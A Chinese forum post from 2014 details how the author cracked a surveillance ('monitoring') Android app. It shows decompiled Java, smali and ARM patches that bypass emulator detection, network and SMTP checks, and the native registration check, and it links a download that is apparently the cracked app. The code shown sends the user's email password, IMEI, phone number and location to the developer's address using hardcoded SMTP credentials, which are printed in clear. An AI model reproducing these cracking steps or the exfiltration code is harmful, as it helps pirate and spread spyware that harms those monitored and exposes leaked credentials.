本帖最后由 lies2014 于 2014-12-25 11:08 编辑
某通信监控软件爆破分析
注:本APP会有杀软报毒,不过其本身就类似木马,介意的朋友请慎下。
使用用具:APKIDE(改之理) Arm汇编转换器 UltraEdit
先运行软件,出来启动界面后居然退出了,我用的2.2版本Android SDK模拟器,是不是版本问题?换了4.x的,现象依然一样,第一反应是APP检测了模拟器环境。 那么就反编译出来看看吧。将软件apk用APKIDE反编译,看起来很顺利,分析AndroidManifest.xml,找到主Activity为com.vipios.activity.MainActivity,找到相应目录下的MainActivity.smali,打开,很长很不直观啊,看看Java代码吧,打开Java源码的菜单居然灰色不可选,看着反编译出来的类名和smali内容很工整啊,没有混淆过,不甘心啊。 是什么问题呢?dex中有什么猫腻呢?IDA Pro是时候该出场了。将apk拖入IDA,选择classes.dex进行分析。既然是来找问题的,分析完直接Ctrl-Q查看问题代码,看到吗,不少哦! 点击第一处CODE,看到的代码不知所云,Source file也没解析出来: 这部分代码所属public java.lang.String android.a.a()对应smali\android\a.smali文件,在APKIDE中打开,看到source "\nSDK\u7248\u672c:",这个明显是为了干扰反编译程序植入的垃圾代码,直接删除a.smali。 余下的问题代码同样处理,删除完垃圾smali后,在APKIDE中编译通过,然后再反编译刚才编译出来的apk,打开Java源码的菜单可选了,打开看看,很漂亮的代码,Bingo!(注:这个apk不能运行,后面的修改都是建立在原包的基础上的) 来到MainActivity看看,onStart中调用的isMoni()这个函数从名字到长相都很可疑,看看代码: [Java] 纯文本查看 复制代码 1 2 3 4 5 | private boolean isMoni()
{
String str = ((TelephonyManager)getSystemService( "phone" )).getDeviceId();
return (str != null ) && (str.trim().length() != 0 ) && (!str.matches( "0+" ));
}
|
获取IMEI并判断是否符合模拟器的特征,返回0即是模拟器,就是它了。修改相应的smali,函数返回前的return v2前加上const/4 v2, 0x1,让其返回1,编译,模拟器上运行,界面出来了。随便填入个邮箱,提示我开启手机网络。 邮箱是否可用由我说了算,干嘛要测试?干掉它!查找字符串,定位到testSave函数。 [Java] 纯文本查看 复制代码 1 2 3 4 5 | if (!OtherOperatorService.check3Gwifi(getApplicationContext()))
{
Toast.makeText(getApplicationContext(), "先开启手机网络,以便测试邮箱是否可用" , 1 ).show();
return ;
}
|
对应smali中的: [Plain Text] 纯文本查看 复制代码 1 2 3 | invoke-static {v3}, Lcom/vipios/service/OtherOperatorService;->check3Gwifi(Landroid/content/Context;)Z
move-result v3
if-nez v3, :cond_3
|
通过check3Gwifi函数检测网络是否打开,结果为0则表示网络没有打开,出现提示。直接将最后的if-nez v3, :cond_3改为goto :cond_3。通过对check3Gwifi的调用搜索发现ZhuceActivity中也有一个判断,同样毙掉了。 再运行,输入邮箱点保存,这次出来“开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或更换邮箱重试!”,查到代码调用,在MainActivity.testSave中: [Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | Thread localThread = new Thread( new Runnable()
{
public void run()
{
String str1 = MainActivity. this .smtpTemp;
String str2 = MainActivity. this .portTemp;
String str3 = MainActivity. this .userEmailTemp;
String str4 = MainActivity. this .userPasswordTemp;
String str5 = MainActivity. this .userEmailTemp;
String[] arrayOfString = new String[ 1 ];
arrayOfString[ 0 ] = MainActivity. this .userEmailTemp;
MailSenderInfo localMailSenderInfo = new MailSenderInfo(str1, str2, str3, str4, true , str5, arrayOfString, MainActivity. this .subject, MainActivity. this .content);
if ( new SimpleMailSender().sendHtmlMail(localMailSenderInfo))
{
MainActivity.testok = 1 ;
MainActivity. this .userSave();
return ;
}
MainActivity.testok = 2 ;
}
});
localThread.start();
try
{
localThread.join();
if (testok == 1 )
{
Toast.makeText(getApplicationContext(), "恭喜你,保存成功" , 1 ).show();
setUserEditedStates( false );
this .subject = ( this .userEmailTemp + "-" + this .shoujiImei + "正在测试" + OtherOperatorService.getVersionName( this ) + "版(" + getPackageName() + "-" + "" + "-" + "finspy_vip@163.com" + ")" );
this .content = ( "设定邮箱:" + this .userEmailTemp + "(" + this .userPasswordTemp + ")绑定号码:" + this .userPhoneNumberTemp + ";设置功能:" + this .tonghuajiluTemp + "," + this .duanxinjiluTemp + "," + this .tonghualuyinTemp + "," + this .weizhijiluTemp + "," + this .qqjiluTemp + "," + this .weixinjiluTemp + ";发送设置:" + this .allnetTemp + "," + this .wifiTemp + ";SDK版本:" + Build.VERSION.SDK_INT + ";" + "Model型号:" + Build.MODEL + ";Android版本:" + Build.VERSION.RELEASE + "<br/>当前卡号及编码" + this .NativePhoneNumber + "," + this .IMSI + "(" + OtherOperatorService.getCardName( this .IMSI) + ")" + LocationEmailInfo.getBaiduMaplink());
OtherOperatorService.uploadEmail(OtherOperatorService.getUserSmtp( "tyling7775@yeah.net" ), OtherOperatorService.getUserPort( "tyling7775@yeah.net" ), "tyling7775@yeah.net" , "tyling132014" , "tyling7775@yeah.net" , new String[] { "finspy_vip@163.com" }, this .subject, this .content);
testok = 0 ;
return ;
}
}
catch (InterruptedException localInterruptedException)
{
do
{
for (;;)
{
testok = 2 ;
}
} while (testok != 2 );
Toast.makeText(getApplicationContext(), "开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或更换邮箱重试!" , 1 ).show();
testok = 0 ;
}
|
向上看,有“恭喜你,保存成功”的字样,要保存成功,必须转到这里执行,转到这里执行的条件是testok == 1,再向上看,testok在run函数中赋值,直接修改赋值就可以了。Run函数在MainActivity$4.smali中,赋值前会发邮件进行验证判断,将验证部分也干掉,将“invoke-direct/range {v0 .. v9},Lcom/illyb/mail/MailSenderInfo;-><init>”至“if-eqz v10, :cond_0”的内容全部删除。即直接将v5(初始化为1)赋值给testok后返回。编译后运行,提示保存成功了。 下面到注册了,点击注册按钮,出来注册界面。随意输入注册码,点击“注册保存”,提示“请检查注册码是否正确”。查找提示,来到ZhuceActivity. saveHide函数: [Java] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | public void saveHide(View paramView)
{
String str = this .zhucemaeEditText.getText().toString().trim().toUpperCase(Locale.US);
if ( this .isRegOK)
{
startActivity( new Intent( this , AnyuActivity. class ));
return ;
}
if (!OtherOperatorService.check3Gwifi( this ))
{
Toast.makeText(getApplicationContext(), "先开启手机网络以便为你注册" , 1 ).show();
return ;
}
if (! this .ps.isUserSetOk())
{
Toast.makeText( this , "返回先设置邮箱,并保存成功" , 1 ).show();
return ;
}
if (( "" .equals(str)) || (str == null ))
{
Toast.makeText( this , "请先输入注册码" , 1 ).show();
return ;
}
this .isRegOK = NativeClass.userSaveReg( this , this .ps.getPackName(), this .ps.getUserEmail(), this .ps.getShoujiImei(), str, 0 );
if ( this .isRegOK) {
Toast.makeText( this , "恭喜你注册成功" , 1 ).show();
}
for (;;)
{
try
{
Thread.sleep(1000L);
finish();
return ;
}
catch (Exception localException)
{
return ;
}
Toast.makeText( this , "请检查注册码是否正确" , 1 ).show();
}
}
|
向上看到“恭喜你注册成功”的字样,心中窃喜,So Easy!修改对应smali,运行,结果很伤自尊。老兄,没这么好混的好不好。 再看,isRegOK要置1就注册成功,前面调用了NativeClass.userSaveReg,这个又是什么呢?看看NativeClass中的声明publicstatic native boolean userSaveReg,是个native函数啊,位于名为illyb的库中,没办法,硬着头皮上吧。 IDA再次出手,找到lib下的libillyb.so,拖入IDA中分析。在IDA的Exports页面下找到Java_com_illyb_main_NativeClass_userSaveReg,点击来到函数地址,满眼的ARM指令啊,好在我们有屠A宝刀,按F5看看伪代码: [C++] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | int __fastcall Java_com_illyb_main_NativeClass_userSaveReg( int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
int v8;
int v9;
int v10;
int v11;
char *v12;
int v13;
int v14;
int v15;
int v16;
int v17;
int v18;
int result;
int v20;
v8 = a1;
v9 = (( int (*)( void ))sub_919C)();
v10 = sub_919C(v8, a5);
v11 = sub_919C(v8, a6);
v12 = ( char *)sub_919C(v8, a7);
v13 = areYouOk(v9, v10, v11, v12, a8);
_JNIEnv::ReleaseStringUTFChars(v8, a5, v10);
_JNIEnv::ReleaseStringUTFChars(v8, a6, v11);
_JNIEnv::ReleaseStringUTFChars(v8, a7, v12);
v14 = (*( int (__fastcall **)( int , _DWORD))(*(_DWORD *)v8 + 24))(v8, "com/illyb/tool/OperatorService" );
v15 = v14;
v16 = _JNIEnv::GetStaticMethodID(v8, v14, "getRegTimes" , "(Landroid/content/Context;Ljava/lang/String;)I" );
v17 = _JNIEnv::CallStaticIntMethod(v8, v15, v16);
if ( v13 && v17 <= 4 )
{
v18 = _JNIEnv::GetStaticMethodID(v8, v15, "saveReg" , "(Landroid/content/Context;Ljava/lang/String;)Z" );
result = _JNIEnv::CallStaticBooleanMethod(v8, v15, v18);
}
else
{
v20 = _JNIEnv::GetStaticMethodID(v8, v15, "saveRegTimes" , "(Landroid/content/Context;I)Z" );
_JNIEnv::CallStaticBooleanMethod(v8, v15, v20);
result = 0;
}
return result;
}
|
Java调用JNI函数时,a1(R0)代表JNIEnv*,a2(R1)代表thiz,a3(R2)才是第1个参数,这里a7就是传过来的注册码。这部分代码的大意是先将Java传过来的参数转换成JNI能识别的类型(由ARM代码对照JNI_ENV函数表得知sub_919C实际上是GetStringUTFChars),再由areYouOk进行注册码合法性的验证,最后根据验证结果执行后面的动作调用Java中的不同方法。从前面的分析得知userSaveReg的返回值为1 注册成功,因此不能进入else的部分。那如何跳到if里呢,取决于v13&&v17的结果,v13是areYouOk的返回值,v17是Lcom/illyb/tool/OperatorService/getRegTimes的返回值,getRegTimes代码: [Java] 纯文本查看 复制代码 1 2 3 4 | private static int getRegTimes(Context paramContext, String paramString)
{
return paramContext.getSharedPreferences( "reg" , 0 ).getInt( "regtimes" , 0 );
}
|
以上代码从/data/data/com.vipios/shared_prefs/reg.xml将regtimes值取出,这个regtimes经分析为输入注册码的次数x2,那么if的条件应该是限制多次重试注册码的,那么v13&&v17的值必须<=4。 那么这里是否可以修改代码直接跳转到if里面呢?答案是可以的,但是不建议这么做,为什么呢?继续往下看。现在看来问题的关键就在areYouOk上,我们进入areYouOk的地盘,在IDA的Exports页面下找到areYouOk,点击进入,然后jump to xref: 看到了吗,共有7处调用了areYouOk,如果在上面的userSaveReg里直接修改,剩下来的函数也要一个个修改,麻烦而且容易出错。通过进入其他调用areYouOk函数进行分析,更加肯定了areYouOk就是关键,而且返回1可以满足所有函数的正确跳转。 那么我们还是来修改areYouOk吧。ARM中函数的返回值存放在R0,我们只要在返回前将R0置为1就可以了。在areYouOk中往下拉到最后,或切换到图形模式可将流程看得更清楚些,看到返回前代码为: [Asm] 纯文本查看 复制代码 1 2 3 4 | loc_9518
ADD SP , SP , #0x1FC
MOVS R0, R4
POP {R4-R7,PC}
|
典型的函数返回代码,现在我们只要将MOVS R0, R4改为MOVS R0, #1就离胜利不远了。在IDA中切换到Hex View窗口,MOVS R0, R4机器码为20 1C,那么要改成什么呢?真是头痛啊! 最后的利器隆重登场---- Arm汇编转换器该拿下遮羞布了,以上看到一个代码两个字节,需要用thumb模式转换,转换器汇编窗口输入.code 16,再输入要转换的代码: OK,结果出来了,上面是原来的指令MOVS R0, R4机器码为20 1C,下面为修改后的指令MOVS R0, #1机器码为01 20。 好吧,UltraEdit久等了,谢幕就由你来吧(其实这才是最后的利器)!打开libillyb.so,Ctrl-G跳转到IDA中显示的修改地址,核实无误将20 1C修改为01 20,保存,libillyb.so复制回lib目录,编译运行,提示注册成功了,请注意注册成功后下面的按钮也变了。 手贱点了一下隐藏,于是程序抽屉的图标点不动了,说程序没安装,重启后图标消失,只有卸载重装才找回来了。至此爆破结束,各位耐心看我啰啰嗦嗦到现在的看官谢谢了!
monitor.rar
(945.29 KB, 下载次数: 2100)
|